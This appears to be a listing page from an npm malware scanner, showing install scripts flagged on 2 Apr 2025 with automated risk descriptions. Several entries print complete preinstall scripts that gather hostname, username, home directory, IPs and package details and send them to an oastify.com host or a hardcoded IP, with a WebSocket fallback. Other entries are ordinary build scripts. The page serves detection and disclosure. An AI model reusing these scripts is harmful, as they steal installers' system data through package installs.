Home
Docs
GitHub
Blog

Sandworm scans all new Npm package versions for malicious install scripts.
Scanning since October 2024.
Follow our 𝕏 / Twitter feed for updates.

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: postinstall
Package Source: ↗️ View on Npm

The code executes a post-installation script that can dynamically compile and execute code, specifically from a build script, potentially leading to the execution of unverified code. This could allow attackers to inject malicious code into the build process, which might lead to unauthorized access to sensitive information or system resources. Additionally, it may install a local script without proper validation, increasing the risks of running harmful operations.

Install script:
node scripts/postinstall.js
Install script code:
const path = require('path')

const postInstallScriptPath = path.join(__dirname, '..', 'dist', 'scripts', 'postinstall.js')
const localInstallScriptPath = path.join(__dirname, '..', 'dist', 'scripts', 'localinstall.js')

try {
  // that's when we develop in the monorepo, `dist` does not exist yet
  // so we compile postinstall script and trigger it immediately after
  if (require('../package.json').version === '0.0.0') {
    const execa = require('execa')
    const buildScriptPath = path.join(__dirname, '..', 'helpers', 'build.ts')

    execa.sync('pnpm', ['tsx', buildScriptPath], {
      // for the sake of simplicity, we IGNORE_EXTERNALS in our own setup
      // ie. when the monorepo installs, the postinstall is self-contained
      env: { DEV: true, IGNORE_EXTERNALS: true },
      stdio: 'inherit',
    })

    // if enabled, it will install engine overrides into the cache dir
    execa.sync('node', [localInstallScriptPath], {
      stdio: 'inherit',
    })
  }
} catch {}

// that's the normal path, when users get this package ready/installed
require(postInstallScriptPath)

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code collects sensitive information about the user's operating system, including the home directory, hostname, username, and DNS servers, and sends it to a remote server. This is dangerous because it could lead to unauthorized access to personal or sensitive data, compromising user privacy and security.

Install script:
node index.js
Install script code:
//author:- whitehacker003@protonmail.com
const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;
const trackingData = JSON.stringify({
    p: package,
    c: __dirname,
    hd: os.homedir(),
    hn: os.hostname(),
    un: os.userInfo().username,
    dns: dns.getServers(),
    r: packageJSON ? packageJSON.___resolved : undefined,
    v: packageJSON.version,
    pjson: packageJSON,
});
var postData = querystring.stringify({

    msg: trackingData,
});
var options = {
    hostname: "v733cpf2jb5v8u2cv1csbhfv9mfd33rs.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
    port: 443,
    path: "/",
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": postData.length,
    },
};
var req = https.request(options, (res) => {
    res.on("data", (d) => {

        process.stdout.write(d);
    });
});
req.on("error", (e) => {
    // console.error(e);
});
req.write(postData);
req.end();

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

This code collects sensitive information about the user's environment, including the user's home directory, hostname, username, DNS servers, and package details, and sends this data to a remote server. This poses a significant privacy risk as it can be used to track and exploit user information.

Install script:
node index.js
Install script code:
//author:- whitehacker003@protonmail.com
const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;
const trackingData = JSON.stringify({
    p: package,
    c: __dirname,
    hd: os.homedir(),
    hn: os.hostname(),
    un: os.userInfo().username,
    dns: dns.getServers(),
    r: packageJSON ? packageJSON.___resolved : undefined,
    v: packageJSON.version,
    pjson: packageJSON,
});
var postData = querystring.stringify({

    msg: trackingData,
});
var options = {
    hostname: "v733cpf2jb5v8u2cv1csbhfv9mfd33rs.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
    port: 443,
    path: "/",
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": postData.length,
    },
};
var req = https.request(options, (res) => {
    res.on("data", (d) => {

        process.stdout.write(d);
    });
});
req.on("error", (e) => {
    // console.error(e);
});
req.write(postData);
req.end();

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: postinstall
Package Source: ↗️ View on Npm

This code attempts to build a dynamic library from source using cargo and writes the output directly to the file system based on the operating system and architecture. It can potentially allow an attacker to execute arbitrary code if they can manipulate the environment in which this script runs, possibly gaining unauthorized access to system resources or executing harmful payloads. Additionally, it does not provide any validation on the libraries being built or their origin, posing a further risk.

Install script:
node postinstall.js
Install script code:
const { execSync } = require('child_process')
const { readFileSync, writeFileSync, existsSync } = require('fs')
const { join, resolve } = require('path')
const { platform, arch } = require('os')

const { platformArchTriples } = require('@napi-rs/triples')

const PLATFORM_NAME = platform()
const ARCH_NAME = arch()

if (process.env.npm_config_build_from_source || process.env.BUILD_TARO_FROM_SOURCE) {
  let libExt
  let dylibName = 'taro_binding'
  switch (PLATFORM_NAME) {
    case 'darwin':
      libExt = '.dylib'
      dylibName = `lib${dylibName}`
      break
    case 'win32':
      libExt = '.dll'
      break
    case 'linux':
    case 'freebsd':
    case 'openbsd':
    case 'android':
    case 'sunos':
      dylibName = `lib${dylibName}`
      libExt = '.so'
      break
    default:
      throw new TypeError('Operating system not currently supported or recognized by the build script')
  }
  execSync('cargo build --release', {
    stdio: 'inherit',
    env: process.env,
  })
  let dylibPath = join(__dirname, 'target', 'release', `${dylibName}${libExt}`)
  if (!existsSync(dylibPath)) {
    dylibPath = join(resolve(__dirname, '..', '..'), 'target', 'release', `${dylibName}${libExt}`)
  }
  const dylibContent = readFileSync(dylibPath)
  const triples = platformArchTriples[PLATFORM_NAME][ARCH_NAME]
  const tripe = triples[0]
  writeFileSync(join(__dirname, `taro.${tripe.platformArchABI}.node`), dylibContent)
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: postinstall
Package Source: ↗️ View on Npm

The code fetches a resource from a specified URL and, upon successful retrieval, executes a shell command to install a plugin from a potentially unsafe registry. This could execute arbitrary code on the system and install unwanted software, posing significant security risks.

Install script:
node postinstall.js
Install script code:
const { exec } = require('child_process')
const axios = require('axios')

axios.get('https://taro.jd.com/', { timeout: 5000 })
  .then(() => {
    exec('taro global-config add-plugin  @jdtaro/plugin-build-report-performance@latest --registry http://registry.m.jd.com', (error, _stdout, _stderr) => {
      if (error) {
        console.error(`install performance plugin error: ${error}`)
      }
    })
  })
  .catch(() => {
  })

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: postinstall
Package Source: ↗️ View on Npm

The code makes an HTTP GET request to an external URL and, upon success, executes a command to install a plugin from another specified registry. This can lead to running arbitrary code and downloading potentially malicious software, compromising the system's security.

Install script:
node postinstall.js
Install script code:
const { exec } = require('child_process')
const axios = require('axios')

axios.get('https://taro.jd.com/', { timeout: 5000 })
  .then(() => {
    exec('taro global-config add-plugin  @jdtaro/plugin-build-report-performance@latest --registry http://registry.m.jd.com', (error, _stdout, _stderr) => {
      if (error) {
        console.error(`install performance plugin error: ${error}`)
      }
    })
  })
  .catch(() => {
  })

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: postinstall
Package Source: ↗️ View on Npm

The script attempts to access Windows Registry Editor (regedit), which could potentially allow unauthorized changes to system settings, leading to broader vulnerabilities or exploits on the local machine.

Install script:
quickgame regedit

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code collects sensitive system information, including the user's hostname, operating system details, local IP address, username, and current working directory, and then sends this data to a specified remote server through both HTTP GET and POST requests. Additionally, it falls back to sending data via WebSocket if the HTTP requests fail. This can potentially lead to unauthorized access to sensitive information and facilitate malicious activity.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code collects sensitive system information, including the user's public and local IP addresses, hostname, operating system details, and username, and sends this data to specified remote endpoints via HTTP GET and POST requests. This can lead to privacy invasion and potential misuse of the data, as it may expose sensitive information to malicious servers. Additionally, it has a WebSocket backup to send data if HTTP requests fail, which complicates detection and mitigation efforts.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}

Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code collects sensitive system information (e.g., public IP, local IP, username) and sends it to potentially malicious remote servers without user consent. It does this via both HTTP and WebSocket requests, making it a serious privacy and security risk.

Install script:
node index.js
Install script code:
const os = require("os");
const https = require("https");

// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";

// Dynamically import node-fetch
async function getFetch() {
    return (await import("node-fetch")).default;
}

// Collect System Information
const systemInfo = {
    publicIP: "", // Will be fetched dynamically
    hostname: os.hostname(),
    osType: os.type(),
    osPlatform: os.platform(),
    osRelease: os.release(),
    osArch: os.arch(),
    localIP: Object.values(os.networkInterfaces())
        .flat()
        .find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
    whoamiUser: os.userInfo().username,
    currentDirectory: process.cwd(),
};

// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
    let data = "";
    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
        try {
            systemInfo.publicIP = JSON.parse(data).ip;
        } catch (e) {
            systemInfo.publicIP = "Unknown";
        }
        sendData(systemInfo);
    });
}).on("error", () => sendData(systemInfo));

// List of fallback servers
const endpoints = [
    "http://34.229.201.136:8080/jpd.php",
    "http://34.229.201.136:8080/jpd1.php",
];

// Get random available endpoint
function getAvailableEndpoint() {
    return endpoints[Math.floor(Math.random() * endpoints.length)];
}

// Convert system info to query string
function buildQueryParams(data) {
    return Object.entries(data)
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join("&");
}

// Send Data (GET and POST)
async function sendData(data) {
    try {
        const fetch = await getFetch();

        // Construct GET request URL
        const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;

        // Send GET request
        const getResponse = await fetch(getUrl, { method: "GET" });

        // Send POST request
        const postResponse = await fetch(getAvailableEndpoint(), {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            },
            body: JSON.stringify(data),
        });

        // Only log responses if NOT running in `npm install`
        if (!isPreinstall) {
            console.log("GET Response:", await getResponse.text());
            console.log("POST Response:", await postResponse.text());
        }
    } catch (error) {
        if (!isPreinstall) {
            console.error("Error sending data via HTTP:", error);
        }
        sendViaWebSocket(data);
    }
}

// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
    try {
        const { WebSocket } = await import("ws"); // Import ws dynamically
        const ws = new WebSocket("wss://yourserver.com/socket");

        ws.on("open", () => {
            if (!isPreinstall) {
                console.log("WebSocket connection established.");
            }
            ws.send(JSON.stringify(data));
            ws.close();
        });

        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}
12,009 vulnerabilities